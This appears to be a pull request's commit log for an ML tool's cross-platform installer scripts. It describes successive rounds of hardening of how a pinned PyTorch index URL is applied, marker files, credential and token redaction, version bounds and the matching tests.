   UV_TORCH_BACKEND joins the stripped env vars, so uv cannot re-read it.

2. setup.ps1's pinned reroute had the same bare rocm* glob install.ps1 had:
   a custom find-links leaf like rocm-rel-7.2.1 was routed through the ROCm
   --index-url path instead of the verbatim unknown-pin path. Now requires
   a digit after rocm, matching install.ps1, install.sh and
   _is_pip_rocm_family_leaf.

3. The marker test's case-normalization checks used -eq, which is
   case-insensitive in PowerShell, making them vacuous, and the unknown-leaf
   expectation was written lowercased while the implementation deliberately
   preserves custom-leaf case. Tightened to -ceq with the case-preserving
   expected value.

Adds unit + parity tests for 1 and 2 (5 new tests).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: extend the pinned-index guards to every remaining surface

Round 3 of the pinned-index hardening, closing the same holes on the
surfaces the earlier rounds missed:

1. install.sh's pinned-install env scrub now clears UV_TORCH_BACKEND (uv's
   torch backend redirects torch resolution to its own per-backend index
   even against --default-index), and both PowerShell wrappers clear it in
   their pinned-install scrubs, matching install_python_stack.py.

2. setup.ps1's marker stale check still classified any rocm* leaf as a
   PyTorch ROCm family while the install selection is digit-gated, so a
   custom rocm-current / rocm-rel-7.2.1 pin stale-compared as
   not-rocm vs rocm and force-reinstalled on every studio update. The
   stale check now uses the same ^rocm\d gate.

3. install_python_stack.py's pinned-command scrub also strips
   PIP_EXTRA_INDEX_URL for the pip fallback: pip adds the env extra index
   in addition to --index-url, so an inherited mirror could satisfy torch
   off the pin while the marker recorded the pinned URL. PIP_INDEX_URL
   needs no strip since the explicit --index-url flag overrides it.

Parity + unit tests extended (4 new tests).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: scrub find-links and carry the pinned scrub through pip fallbacks

Round 4 of the pinned-index hardening:

1. UV_FIND_LINKS joins every pinned-install scrub (install.sh, install.ps1,
   setup.ps1, install_python_stack.py): uv's --find-links locations can
   satisfy torch off the pinned index the same way an extra index does.

2. setup.ps1's Fast-Install restored the scrubbed vars in its finally
   BEFORE the pip fallback ran, and never touched the pip env vars at all,
   so a failed uv attempt fell back to python -m pip with an inherited
   PIP_EXTRA_INDEX_URL / PIP_FIND_LINKS able to win over the pinned
   --index-url. The scrub now wraps the whole function (uv attempt + pip
   fallback) and includes the pip vars; restore happens after both.

3. install_python_stack.py's scrub also strips PIP_FIND_LINKS for its own
   pip fallback, completing the PIP_EXTRA_INDEX_URL fix from round 3.

Parity tests extended (2 new tests).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: digit-gate rocm leaves in marker normalization and ROCm side effects

Round 5 of the pinned-index hardening (three custom-rocm-leaf edge cases):

1. _normalize_family_leaf lowercased every leaf starting with rocm, so a
   custom mirror leaf like rocm-Current compared equal to its lowercase form
   and a case-only pin change was skipped. URL paths can be case-sensitive.
   The rocm prefix is now digit-gated (rocm[0-9]*, matching
   _is_pip_rocm_family_leaf) in install.sh, setup.ps1 and
   install_python_stack.py, so only true family leaves (rocm7.2) are
   lowercased; a custom rocm-* leaf keeps its case.

2. setup.ps1 Test-MarkerPinMismatch compared normalized URLs with -ne, which
   is case-insensitive in PowerShell, so a case-only marker change (Simple
   vs simple) was treated as matching and the reinstall skipped. Now -cne.

3. install.sh gated the AMD bitsandbytes install and the "repair ROCm torch"
   --default-index reinstall on a bare whole-URL rocm glob, so a custom
   CPU/CUDA/private index whose leaf merely starts with rocm (rocm-current)
   was force-repaired from the wrong ROCm-only path whenever torch.version.hip
   was empty. Both now gate on _torch_index_is_rocm_family, computed once from
   the digit-gated leaf (rocm[0-9]*/gfx*).

Tests: 4 new parity assertions plus 2 case-sensitivity marker checks.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: apply an explicit custom torch-index pin on the first update

Round 6: an explicitly-set custom (unknown-family) UNSLOTH_TORCH_INDEX_URL
was silently ignored on the first `studio update` of a venv that predates
the marker feature, on both platforms, because the no-marker case was
treated as "do nothing" and the version-tag heuristics cannot judge an
unknown leaf.

1. install_python_stack.py _ensure_verbatim_torch_index now reinstalls
   verbatim when the marker is ABSENT (None), not only when it differs, and
   short-circuits only when the marker already records this exact pin. It
   then writes the marker, so every later update is a no-op. A user who did
   not set the override gets pin=None and is untouched, so an out-of-band
   torch install is never clobbered.

2. setup.ps1: for an unknown-family pin on a marker-less venv the stale-venv
   check now sets PinChangedForceReinstall so the torch block reinstalls in
   place from the pin. It deliberately does NOT set shouldRebuild, which
   would wipe the venv and strand a direct `studio update`.

3. setup.sh (the Linux `studio update` entry point) skipped
   install_python_stack.py entirely when unsloth was already current, so the
   marker-driven reinstall (both the verbatim custom pin and the cu/rocm
   flavor and family-change repair, e.g. gfx1151 to gfx120X-all) never ran.
   It now forces the dependency pass when a torch-index pin env var is set;
   the pass is idempotent and no-ops when the marker already matches. This
   mirrors setup.ps1's stale-venv pre-check.

Tests: 3 new parity assertions.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* test: expect first-update reinstall for a no-marker custom index pin

Follow-up to d671d8fb2: _ensure_verbatim_torch_index now applies an
explicit unknown-family URL pin verbatim on the first update when the
marker is absent (instead of no-op), so the old
test_verbatim_custom_url_no_marker_is_noop assertion was stale. Rewritten
as test_verbatim_custom_url_no_marker_reinstalls_once: asserts the one
verbatim reinstall from the pinned URL, that the marker is written, and
that a second call with the pin still set is idempotent (no reinstall
loop).

* install: gate the pinned update pass on the marker and record a pin baseline

Round 8, two follow-ups to the round-6 first-update pin fix:

1. setup.sh forced the full dependency pass on EVERY `studio update` while a
   torch-index pin stayed exported, even after the marker already recorded the
   same pin, turning quick updates into the expensive pass every time. It now
   probes install_python_stack.py --torch-pin-needs-apply (which reuses the
   exact marker normalization) and forces the pass only when the pin is not yet
   applied (marker absent or different); an already-applied persistent pin keeps
   the fast path. A probe error fails safe toward running the pass. setup.ps1
   gets the same probe in its fast path for parity.

2. A known-family full-URL pin on a venv predating the marker (e.g. an installed
   cu128 build and UNSLOTH_TORCH_INDEX_URL pointing at a same-family mirror) left
   the marker absent forever: the _ensure_* helpers deliberately do not force a
   multi-GB reinstall of identical-family wheels on an old venv, so nothing
   recorded the pin and every update re-entered the pass. _record_torch_index_pin_baseline
   now records the resolved pin as a baseline after the ensure sequence when the
   family already matches and no marker exists, so the pin is tracked (a later
   genuine change is detected and applied) and the update loop is broken, without
   the redundant reinstall.

Tests: 3 new baseline unit tests, 4 new parity assertions, and the CLI probe.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* setup.sh: keep the pin probe's exit 1 from killing the update under set -e

The --torch-pin-needs-apply probe deliberately exits 1 for the common
steady-state answer (pin already recorded, keep the fast path), but it ran
as a bare command under set -euo pipefail, so the whole studio update
aborted before the exit code was even captured. Absorb the status with
|| _PIN_NEEDS_APPLY=$? and pre-seed 0 so all three outcomes route as
documented: 0 runs the pass, 1 keeps the fast path, anything else fails
safe into the pass. Parity test asserts the guard.

* install: strip pin credentials, disable uv config discovery, bound verbatim installs

Four verified fix groups from a 12-reviewer audit of the torch-index
override feature, each reproduced before fixing:

1. Credential persistence: all four marker writers stored the raw pin URL,
   so an authenticated pin (https://user:token@mirror/simple) persisted its
   credentials in .unsloth-torch-index (mode 0644 under a default POSIX
   umask) and install_python_stack.py printed pin URLs verbatim in repair
   messages. Userinfo is now stripped before persisting and in every
   log/substep that interpolates a pin, via lockstep helpers
   (_strip_index_url_credentials in install.sh / install_python_stack.py,
   Remove-IndexUrlCredentials in install.ps1 / setup.ps1). The three
   normalizers strip too, so an OLD marker that already carries credentials
   still compares equal to the same pin: no reinstall loop on upgrade.
   Query strings deliberately stay in the marker; two indexes distinguished
   only by query must not compare equal.

2. uv configuration discovery beat the explicit pin: with a discovered
   uv.toml declaring torch-backend = "cpu" or a [[index]] entry, uv 0.10.12
   resolves torch 2.13.0+cpu against an explicit --index-url/.../cu126 pin;
   UV_NO_CONFIG=1 restores +cu126 (reproduced both ways). The pinned-install
   scrub in all four installers now sets UV_NO_CONFIG=1 and drops
   UV_CONFIG_FILE.

3. The verbatim custom-index update path installed a bare, unconstrained
   torch trio while fresh installs from the same unknown-leaf pin apply the
   supported range; _ensure_verbatim_torch_index now installs the bounded
   trio spec, closing the fresh-vs-update asymmetry.

4. Query-bearing pins (.../cu128?token=x) classified by raw leaf split and
   force-reinstalled on every update (the installed cu128 never equals
   cu128?token=x). Query/fragment are now stripped before leaf
   classification in all four implementations; the marker comparison keeps
   the query per (1).

Rejected after verification (no change): the pin-baseline record cannot
produce a wrong later decision (every pin change still mismatches and
reinstalls from the new pin); the venv temp-file symlink scenarios require
an attacker who already owns the environment; pathological inputs like
" / cu128 / " have no realistic caller and fail loudly.

Parity, stack, rocm-support, marker (sh + ps1), pin-stale, index-url and
flavor suites all pass (455 python + full shell/ps1 batteries).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: harden custom-pin repair against clobber, broken torch, and pip config

Four follow-ups to the pinned-index audit fixes:

1. setup.ps1 routed an unknown-leaf custom pin through the CUDA branch with
   a bare torch trio while install.ps1 (fresh) and the Python verbatim path
   bound the supported range; the pinned unknown-leaf route now applies the
   same torch>=2.4,<2.11.0 bound. Known cu* leaves and unpinned runs are
   unchanged.

2. The final torch safety pass could not repair a clobbered unknown-family
   pin: intermediate dependency steps can pull torch from PyPI (the pass
   exists for exactly that reason), but the verbatim helper short-circuited
   on marker==pin and no flavor tag exists to probe. The helper now keeps a
   per-run snapshot of the installed trio (taken after a verbatim reinstall
   or on the first matching-marker pass) and reinstalls from the pin when
   the final pass sees the trio drifted. Probe failure skips the
   comparison; a reinstall refreshes the snapshot, so no loop.

3. _record_torch_index_pin_baseline could freeze a known-family pin as
   applied on a venv whose torch is missing or broken (every family helper
   returns without reinstalling when its probe fails), making
   --torch-pin-needs-apply report done forever. The baseline now probes the
   installed flavor and records only on a match: a cuXXX pin requires the
   matching +cuXXX tag, cpu requires a cpu build, rocm/gfx requires hip;
   probe failure records nothing.

4. The pinned pip fallback stripped PIP_* env vars but user/site pip config
   files still applied (a configured global.extra-index-url can satisfy
   torch off the pin). PIP_CONFIG_FILE is now pointed at the null device
   for pinned commands (pip loads no config files then), in
   _install_env_for_cmd and setup.ps1's Fast-Install pinned scrub.
   install.sh / install.ps1 have no pip fallback (uv-only), verified.

Tests: 7 new rocm_support tests (snapshot reset fixture), 1 stack test,
2 parity tests. Full battery green (464 python, sh and ps1 suites).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: complete the pin-repair coverage across the fast path and platforms

Three cross-platform follow-ups to the round-2 pin-repair fixes:

1. The --torch-pin-needs-apply probe only compared marker==pin, so a torch
   trio clobbered to the wrong family (a cpu wheel replacing cu128 via a
   later pip install) with a still-matching marker reported "already
   applied" and the _ensure_{cuda,rocm,cpu} repair never ran on the Linux
   fast path. The probe is now a testable _torch_pin_needs_apply() that also
   checks the installed flavor against a known-family pin (via a shared
   _torch_flavor_matches_pin() helper, so the baseline and the probe cannot
   drift). An unknown-family pin has no flavor to validate and a failed
   probe cannot prove drift, so both keep the fast path.

2. macOS ARM (real CPU/MPS torch, not NO_TORCH) never applied an unknown-
   family custom pin on update: both the verbatim path and the baseline
   returned on IS_MACOS while fresh install.sh honors the pin, so the marker
   was never written and setup.sh forced the dependency pass on every update
   forever. The guards are now IS_MAC_INTEL (Intel mac is already NO_TORCH),
   and the final pass applies the pin on macOS ARM.

3. The round-2 final verbatim repair sat in the step-13 sequence guarded
   not IS_WINDOWS, so on Windows a dependency step that clobbered torch after
   the pin was applied was masked by the matching marker (setup.ps1 does not
   re-validate the main venv's torch after calling this script -- verified).
   Step 13 now runs the verbatim snapshot-drift repair on Windows and macOS
   ARM too; the Linux-oriented cuda/rocm/cpu family helpers stay Linux-only.

Tests: 13 new rocm_support cases (flavor drift, macOS ARM, Windows repair),
parity updates. Full battery green (475 python, sh and ps1 suites).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: strip query tokens from the marker and tighten the pin-drift probe

Four follow-ups to the round-3 pin-repair fixes:

1. The credential stripper feeding the torch-index marker and the logged repair
   messages dropped only user:pass@ userinfo, so a private feed that carries its
   auth token in the query string (.../simple?token=SECRET) persisted the token
   in the world-readable marker (mode 0644 under a default umask) and printed it
   in substep output. All four strippers (install.sh, install.ps1,
   studio/setup.ps1, install_python_stack.py) now drop the query and fragment
   before building the sanitized URL. A query is not part of a PEP 503 index's
   identity, so this also stops a rotated token from spuriously mismatching the
   marker and forcing a needless reinstall.

2. The --torch-pin-needs-apply fast-path probe accepted an untagged CUDA build
   (no +cuXXX local tag) under a specific cuXXX pin, but _ensure_cuda_torch
   reinstalls exactly that build to enforce the pin. The probe was more lenient
   than the repair, so the repair pass was skipped on the fast path.
   _torch_flavor_matches_pin now reports a mismatch for an untagged build under a
   cuXXX pin, forcing the pass.

3. The probe's ROCm branch accepted any HIP build for a rocm/gfx pin, while
   _ensure_rocm_torch decides a reinstall with the per-arch
   _rocm_pin_family_mismatch predicate (a generic +rocm7.2 wheel under a per-arch
   gfx pin, or a wrong ROCm version, is a mismatch). The probe now reuses that
   predicate, so it is as strict as the repair. This needs the installed torch
   version, so _probe_torch_flavor now returns (marker, cutag, version) and
   _torch_flavor_matches_pin takes the pin URL (extracting the leaf internally).

4. On Windows a known-family cu*/cpu pin is applied to the main venv by setup.ps1
   before install_python_stack.py runs; a later dependency step can clobber it,
   and the GPU-aware _ensure_{cuda,cpu}_torch self-skip on Windows while the
   verbatim helper handles only unknown-family pins, so nothing repaired the
   clobber (setup.ps1 does not re-validate the main venv's torch afterward,
   verified). New _ensure_pinned_known_family_torch reinstalls a drifted cu*/cpu
   pin in the step-13 Windows/macOS-ARM branch; rocm/gfx per-arch specs stay owned
   by setup.ps1, unknown-family by the verbatim helper.

A speculative ROCm 2.11 floor was also raised but is unreachable: the rocm7.2
index publishes no 2.x wheel below 2.11.0, and an unknown newer rocm is not
floored speculatively.

Tests: query/fragment strip cases in the sh + ps1 marker suites and the Python
strip/marker tests; the tri-state helper and the probe/baseline harnesses moved
to the (marker, cutag, version) flavor with matching versions; new probe cases
(untagged CUDA, generic-rocm-under-gfx) and 8 _ensure_pinned_known_family_torch
tests; a four-way query-strip parity assertion. Full battery green (1150 python,
sh 26/26 marker, ps1 marker/flavor/pin-stale).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: reinstall markerless gfx pins and cap custom-index updates at torch 2.11

Two follow-ups from the pin-marker audit:

1. A markerless venv with a gfx per-arch 2.11 pin trusted the wheel version
   tag, which is byte-identical (+rocm7.13.0) across gfx120X-all / gfx1151 /
   gfx1150. A pre-marker install holding one gfx arch's wheel that is now
   pinned to a DIFFERENT gfx index was therefore never switched:
   _rocm_pin_family_mismatch returns no-mismatch for any three-part +rocm
   2.11 wheel, and _ensure_rocm_torch's absent-marker branch fell through to
   that heuristic. _ensure_rocm_torch now forces a one-time reinstall when the
   marker is absent AND the pin leaf is a 2.11 gfx per-arch index; the reinstall
   writes the marker, so the next update compares exactly and does not loop
   (the correctly-pinned no-reinstall guarantee then comes from the exact marker
   compare, not the ambiguous tag). Non-gfx-2.11 pins (rocmX.Y, non-2.11 gfx)
   stay on the tag heuristic -- their tags are distinguishable.

2. The verbatim custom-index update path used _CUDA_TORCH_PKG_SPEC (torch
   <2.12.0) while a FRESH install of the same unknown leaf caps torch at
   <2.11.0 (install.sh's default TORCH_CONSTRAINT, and setup.ps1's custom-pin
   branch), so a private /simple mirror publishing torch 2.11 could upgrade a
   `studio update` to a state the fresh installer never produces. Added
   _CUSTOM_INDEX_TORCH_PKG_SPEC (torch>=2.4,<2.11.0), used only by the verbatim
   path; companions stay pinned for the same exclusive --index-url ABI reason
   as _CUDA_TORCH_PKG_SPEC (a bare name could pull a torch-2.12-built
   torchvision). _CUDA_TORCH_PKG_SPEC is unchanged (known-family cu/cpu repair
   correctly tracks install.sh's widened cu ceiling).

Tests: 2 new markerless-gfx cases (one-time reinstall + marker write + no-loop
second run, and the rocmX.Y absent-marker no-op), the pre-existing markerless
gfx no-reinstall test flipped to assert the one-time reinstall (it had encoded
the old tag-trusting behavior), and the custom-index bound assertions. 488
passed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: a matching marker must not mask a broken, clobbered, or misclassified torch

Four round-6 follow-ups, all closing cases where a matching torch-index
marker wrongly vouched for a torch that is not actually the pinned one:

1. _is_cuda_family_leaf matched cu+digits by PREFIX (^cu[0-9]), so a custom
   mirror leaf like cu128-private classified as CUDA family; the flavor check
   then compared the installed cu128 tag to the whole leaf cu128-private and
   forced a reinstall on EVERY update (never converging). The cu family is
   now matched EXACTLY (re.fullmatch cu[0-9]+), so a cu-suffixed custom leaf
   routes through the verbatim/unknown path with a stable marker. Mirrored in
   install.sh (_normalize_family_leaf: strip cu, require an all-digit
   remainder) and setup.ps1 / install.ps1 (^cu[0-9]+$).

2. _torch_pin_needs_apply returned False on a failed torch probe (missing or
   unimportable) under a matching marker, so setup.sh kept the fast path and
   a broken torch was never repaired. A failed probe now forces the pass: the
   marker cannot vouch for a torch that does not import, forcing is idempotent,
   and once torch imports again the probe succeeds and the forcing stops
   (self-resolving). Reverses the round-4 conservative choice for this case.

3. _ensure_verbatim_torch_index snapshotted the installed trio on the first
   pass with a matching marker and treated an unimportable torch (snapshot
   None) as "no drift, skip", so a torch clobbered to a broken state before
   the run was masked. A None snapshot now reapplies the pin. A torch
   clobbered to a WORKING-but-wrong build under an unknown-family pin remains
   undetectable from metadata (no flavor tag; reinstalling every update would
   be the loop this avoids) and is documented as a known limitation.

4. The step-13 Windows final repair reran only the verbatim (unknown-family)
   and known-family cu*/cpu paths, so a clobbered explicit rocm/gfx pin (the
   wheel setup.ps1 installed from AMD's per-arch index) was left in place. The
   branch now also runs _ensure_rocm_torch on Windows for an explicit rocm/gfx
   pin; it has a Windows path and no-ops when torch already links HIP, so it
   only reinstalls a genuinely clobbered ROCm venv (loop-safe).

Tests: the round-4 failed-probe-trusts-marker test flipped to force the pass;
new cases for the cu-suffix no-loop, the broken-torch verbatim reinstall, and
the Windows rocm final-repair structure; item-2 exact-cu parity assertions.
490 passed. sh/ps1 marker + flavor + pin-stale suites all green.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: repair Windows ROCm pins from the pinned URL and honor NO_TORCH

Four round-7 review items, two of them regressions in the round-6 work:

1. _torch_pin_needs_apply ignored UNSLOTH_NO_TORCH. With a torch-index env
   var set and no marker, the failed-probe branch forced the dependency pass
   on every `studio update`, and the pass (which also honors NO_TORCH) never
   installs torch or writes a marker, so nothing could ever stop the forcing.
   It now returns False immediately under NO_TORCH: the pin only matters once
   torch is actually installed.

2. The step-13 Windows final repair (round-6) restored a clobbered explicit
   rocm/gfx pin by calling _ensure_rocm_torch, whose Windows path reinstalls
   from the arch AUTO-DETECTED via hipinfo, not from the pin. A user pinning a
   different gfx family or a private mirror was restored from the wrong source
   (and the wrong marker written), and a headless box was skipped entirely
   (the arch probe returns nothing). The repair now goes through
   _ensure_pinned_known_family_torch, which reinstalls from the PINNED url with
   the same per-arch floor setup.ps1 uses (2.11-line gfx leaves) or a bare trio
   (older arches, rocmN mirrors). It is gated on IS_WINDOWS since macOS ARM has
   no ROCm, and the existing flavor check keeps it loop-safe (a matching HIP
   wheel is left alone).

3. _ensure_verbatim_torch_index's broken-torch check (round-6) used
   "_installed_trio_snapshot() is None", but that helper reports a REMOVED torch
   as "torch==absent" (a non-None tuple) and a broken import as the stale
   on-disk version, so a missing or unimportable torch under a matching marker
   was read as "no drift" and skipped. The matching-marker path now confirms
   torch health with an import probe (_probe_torch_flavor): a torch that does
   not import reapplies the pin, while a healthy torch keeps the snapshot-based
   intra-run drift detection.

4. A unit test for _ensure_cpu_torch did not pin NO_TORCH False like its
   siblings, so a suite run with UNSLOTH_NO_TORCH=1 in the environment made the
   guard return early and the reinstall assertions fail spuriously.

Tests: the round-6 broken-torch verbatim test re-encodes the non-None
"torch==absent" snapshot case (the exact state the old "is None" check missed);
new Windows-ROCm pinned-repair cases (reinstall from the pin, per-arch floor vs
bare spec, matching-wheel no-op, off-Windows no-op); a NO_TORCH fast-path probe
case; the parity test now asserts the Windows final branch does not auto-detect
the ROCm index and that the helper reinstalls from the explicit pin. 494 passed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: floor the rocm7.2 index in the Windows pin repair; isolate marker tests

Three round-8 review items, two of them downstream of the round-7 changes:

1. _ensure_pinned_known_family_torch gave a rocm<d> index leaf a bare
   torch/torchvision/torchaudio trio while flooring only gfx* leaves, so a
   Windows venv clobbered under an explicit rocm7.2 pin could reinstall an
   unbounded or ABI-mismatched trio from that exclusive --index-url. It now
   mirrors the spec the initial ROCm paths pin: the rocm7.2 floor for 2.11-line
   gfx leaves and rocm<d> leaves that serve torch 2.11, the <2.11 default for
   older rocm versions, and a bare trio only for older gfx per-arch leaves
   (which publish no floor), matching _ROCM_TORCH_PKG_SPECS / _ensure_rocm_torch.

2. test_verbatim_custom_url_no_marker_reinstalls_once called
   _ensure_verbatim_torch_index twice; the second call now hits the
   matching-marker health probe, and with pip_install mocked torch never becomes
   importable, so in a no-torch environment _probe_torch_flavor returned None and
   forced another reinstall, failing the idempotence assertion. The test now pins
   a healthy flavor so the idempotence check is about the marker, not ambient
   torch.

3. The TestEnsureRocmTorchMarker fixture patched os.environ per test but not
   _TORCH_BACKEND, which install_python_stack.py computes once at import from
   UNSLOTH_TORCH_BACKEND. A runner starting with a cuda/cpu backend made
   _ensure_rocm_torch early-return and skip the mocked repair these tests
   exercise. The fixture now neutralizes _TORCH_BACKEND so the marker tests are
   independent of the caller's installer-pin environment.

Tests: the Windows floor-spec test now asserts a rocm7.2 mirror pin uses the
rocm7.2 floor (not bare), plus a new rocm7.1 case that must fall back to the
<2.11 default; the marker suite passes under a hostile
UNSLOTH_TORCH_BACKEND=cuda / UNSLOTH_TORCH_INDEX_URL env. 495 passed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: apply same-flavor pin repoints, keep ROCm fallback nonfatal, bound custom companions

Four round-9 review items, two of them regressions in the round-7 pin helper:

1. _ensure_pinned_known_family_torch returned as satisfied whenever the installed
   flavor matched the pin, so a same-flavor SOURCE change (one /cpu or /cu128
   mirror to another, or a gfx1151 -> gfx120x-all per-arch switch, both carrying
   the same wheel tag) was never applied, while _torch_pin_needs_apply kept forcing
   the pass on the marker mismatch forever. It now also reinstalls when the marker
   records a DIFFERENT index of the same flavor, rewriting the marker so the next
   update matches (no loop), exactly as the Linux _ensure_{cuda,cpu}_torch helpers
   do. An absent marker on an already-matching venv is still left to the baseline
   recorder (no forced reinstall of a correct pre-marker venv).

2. That helper reinstalled a Windows ROCm pin with the FATAL pip_install, so when
   setup.ps1 had taken its CPU fallback (the pinned AMD index unavailable), the
   final repair re-hit the same missing index and aborted the whole install. The
   ROCm reinstall is now nonfatal (pip_install_try): on failure it leaves the CPU
   base in place and writes no ROCm marker, so the install completes -- matching
   _ensure_rocm_torch's Windows path. cu*/cpu pins stay fatal (authoritative source).

3. install.sh left torchvision/torchaudio bare for a pinned custom/unknown-leaf
   index (a private /simple mirror), unlike the Python update path's
   _CUSTOM_INDEX_TORCH_PKG_SPEC, so a mirror also exposing newer companion wheels
   could resolve a torch-2.12-built torchvision against the capped <2.11 torch. It
   now bounds the companions (torchvision>=0.19,<0.26.0 / torchaudio>=2.4,<2.11.0)
   for a custom leaf, gated on an empty _expected_torch_flavor_tag so known families
   keep their curated bare/floored companions.

4. install.sh's _expected_torch_flavor_tag matched cu[0-9]* by prefix, so a custom
   leaf like cu128-private classified as the cu128 family and force-reinstalled a
   correct +cu128 wheel on every run. It now requires exact cu+digits (routing the
   suffixed leaf to the custom path), matching the Python re.fullmatch(cu[0-9]+) and
   PowerShell, and feeding item 3's custom-leaf detection.

Tests: new cases for the same-flavor marker-change reinstall, the nonfatal ROCm
fallback (no marker on failure), the rocm7.2/older-rocm floor selection now split
across the nonfatal path, cu-suffixed custom leaves in test_torch_flavor.sh, and the
custom-leaf companion bounds in test_torch_constraint.sh. 497 python + 143 shell
assertions pass; the marker suite still passes under a hostile
UNSLOTH_TORCH_BACKEND=cuda env.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: bound custom-pin companions on the Windows setup path; isolate pin-probe tests

Two round-10 review items:

1. setup.ps1's custom/unknown-leaf pin branch capped only torch ($cudaTorchSpec)
   and still asked the exclusive index for bare torchvision/torchaudio, so a
   private mirror that also serves newer companion wheels could install a
   torch<2.11 wheel alongside a torchvision>=0.26 / torchaudio>=2.11 built for a
   newer torch ABI, after which the marker records the pin as applied. It now
   bounds the whole trio (torch>=2.4,<2.11.0 / torchvision>=0.19,<0.26.0 /
   torchaudio>=2.4,<2.11.0) for a pinned non-cu-family leaf, matching install.sh,
   install.ps1's fresh pinned install, and install_python_stack.py's
   _CUSTOM_INDEX_TORCH_PKG_SPEC. This completes the companion-bounds fix across all
   three installers; known cu* leaves keep bare specs (the family index bounds them).

2. The _torch_pin_needs_apply probe tests did not pin NO_TORCH False, so a test
   process launched with UNSLOTH_NO_TORCH=1 short-circuited the probe (the round-7
   guard) and returned False for cases that expect the pass to run. The _needs_apply
   helper now patches NO_TORCH (default False) around the call, and the dedicated
   no-torch case passes no_torch=True explicitly.

Tests: the cross-platform parity test now asserts setup.ps1 bounds the full trio
(not just torch) for a custom leaf; the pin-probe suite passes under a hostile
UNSLOTH_NO_TORCH=1 environment. setup.ps1 parses clean; 497 python + shell suites
green.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: bound custom rocm-* pins, redact diag tokens, snapshot custom pins before base update

Three round-11 review items, all reproduced before fixing:

1. install.sh's custom-index companion bounds gated on _expected_torch_flavor_tag
   returning empty, but that helper returned "rocm" for ANY rocm* leaf, so a custom
   mirror whose leaf starts with rocm but is not a pip family (a private rocm-current
   mirror, a Radeon find-links rocm-rel-7.2.1) escaped the bounds and installed bare
   torchvision/torchaudio. It now digit-gates rocm to rocm[0-9]* (matching the Python
   _is_pip_rocm_family_leaf ^rocm\d), so those custom leaves return "" and the <2.11
   companion caps apply; real rocm7.2 / gfx per-arch indexes still classify as rocm.

2. _tauri_torch_index_family classified by the raw last path segment, so a pinned URL
   carrying auth in the query (.../rocm7.2?token=SECRET) had the token echoed verbatim
   into the emitted [TAURI:DIAG] line. It now strips query/fragment before classifying
   (mirroring the marker/log credential stripping), so no token reaches the diagnostic
   output; as a side effect .../cu128?token=x now classifies as cu128 instead of auto.

3. On studio update, the core package step (a newer unsloth can require a torch the
   custom pin does not satisfy, pulling a default PyPI trio) runs BEFORE the step-2b
   verbatim check, which then recorded the already-clobbered trio as the baseline for a
   matching marker and left the pin unapplied. A new _capture_verbatim_baseline() records
   the pre-clobber trio before the core step, so the verbatim pass detects the drift and
   reapplies the pin. Captures only for a matching custom pin with importable torch; a
   mismatched/absent marker or broken torch is left to _ensure_verbatim_torch_index.

Tests: _expected_torch_flavor_tag rocm-current / rocm-rel cases; _tauri_torch_index_family
token/fragment redaction with a no-leak regression guard; _capture_verbatim_baseline
record/skip cases plus an end-to-end clobber-detection scenario; a structural guard that
the capture runs before the core step. 501 python + shell suites pass; install.sh bash -n
clean, shellcheck unchanged from base.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install: match rocm family leaves exactly, enforce the rocm7.2 torch line, repair a broken pinned torch

A pinned index is a pip ROCm --index-url family only when its leaf is an exact
rocm<digits> / rocm<digits>.<digits> (rocm7.2) or a gfx* per-arch leaf. The prior
^rocm[0-9] prefix match also caught suffixed private-mirror leaves (rocm7.2-private,
rocm7-current), routing them through the ROCm/companion-family path instead of the
verbatim pin: the companion bounds were skipped and, on a pre-marker venv with a
compatible +rocm wheel, the pin was never applied. Match the family exactly through one
shared helper at every site:
  - install_python_stack.py: _is_pip_rocm_family_leaf (re.fullmatch), plus the two other
    loose gates it feeds (_normalize_family_leaf, _torch_flavor_matches_pin).
  - install.sh: a new _is_pip_rocm_family_leaf routes _expected_torch_flavor_tag,
    _torch_index_repairable, _normalize_family_leaf and the ROCm side-effect gate.
  - setup.ps1: a new Test-PipRocmFamilyLeaf routes Get-NormalizedFamilyLeaf and both
    pinned reroutes; install.ps1 anchors its reroute regex.

_rocm_pin_family_mismatch (and its setup.ps1 mirror Get-RocmPinStaleTags) compared only
the ROCm version, so a +rocm7.2 wheel whose torch release drifted off the 2.11 line
(2.12/2.13 from an out-of-band upgrade or a custom rocm7.2 mirror) satisfied the family
check while violating _ROCM_TORCH_PKG_SPECS['rocm7.2'] (torch>=2.11,<2.12). Flag it stale
so the repair reinstalls to floor; >=2.11 alone is not enough, so the release is compared
exactly against the 2.11 line for a KNOWN-2.11 rocm pin.

_ensure_pinned_known_family_torch returned on a failed import probe, but
_torch_pin_needs_apply forces the dependency pass on that same failed probe: a broken
torch under a known-family pin was left in place and the pass was forced on every update.
Treat an unimportable torch as drift and reinstall the pinned trio (the spec and marker
derive from the pinned leaf, not the absent flavor); once it lands the probe succeeds and
the fast path returns.

Tests: exact-match cases across test_torch_flavor.sh, test_rocm_support.py,
test_cross_platform_parity.py and the two .ps1 helper suites; the rocm7.2 release-line
and broken-probe-reinstall cases; extraction lists updated for the new helpers.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

